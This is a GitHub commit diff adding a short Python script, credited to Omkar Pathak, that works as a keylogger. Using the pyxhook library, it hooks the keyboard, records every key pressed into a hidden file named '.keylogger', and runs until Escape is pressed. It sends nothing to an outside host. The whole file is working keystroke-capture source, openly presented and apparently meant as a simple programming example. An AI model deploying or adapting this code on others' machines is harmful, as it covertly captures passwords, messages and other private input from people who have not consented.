File tree Expand file tree Collapse file tree 1 file changed +45
-0
lines changed Expand file tree Collapse file tree 1 file changed +45
-0
lines changed Original file line number Diff line number Diff line change
1
+ # Author: OMKAR PATHAK
2
+
3
+ import pyxhook
4
+ import time
5
+
6
+ # functions to write a newline character into the file
7
+ def newline ():
8
+ file = open ('.keylogger' , 'a' )
9
+ file .write ('\n ' )
10
+ file .close ()
11
+
12
+ # This function is called every time a key is pressed
13
+ def key_press_event (event ):
14
+ global running
15
+ # write the key pressed into a file
16
+ if event .Key != 'space' and event .Key != 'Escape' :
17
+ with open ('.keylogger' , 'a+' ) as File :
18
+ File .write (event .Key )
19
+
20
+ # If the ascii value matches spacebar, add a newline in the file
21
+ if event .Key == 'space' :
22
+ newline ()
23
+
24
+ # If the ascii value matches escape, terminate the while loop
25
+ if event .Key == 'Escape' :
26
+ running = False
27
+ newline ()
28
+
29
+ if __name__ == '__main__' :
30
+ # Create hookmanager
31
+ hookman = pyxhook .HookManager ()
32
+ # Define our callback to fire when a key is pressed down
33
+ hookman .KeyDown = key_press_event
34
+ # Hook the keyboard
35
+ hookman .HookKeyboard ()
36
+ # Start our listener
37
+ hookman .start ()
38
+
39
+ # Create a loop to keep the application running
40
+ running = True
41
+ while running :
42
+ time .sleep (0.1 )
43
+
44
+ # Close the listener when we are done
45
+ hookman .cancel ()
You can’t perform that action at this time.
0 commit comments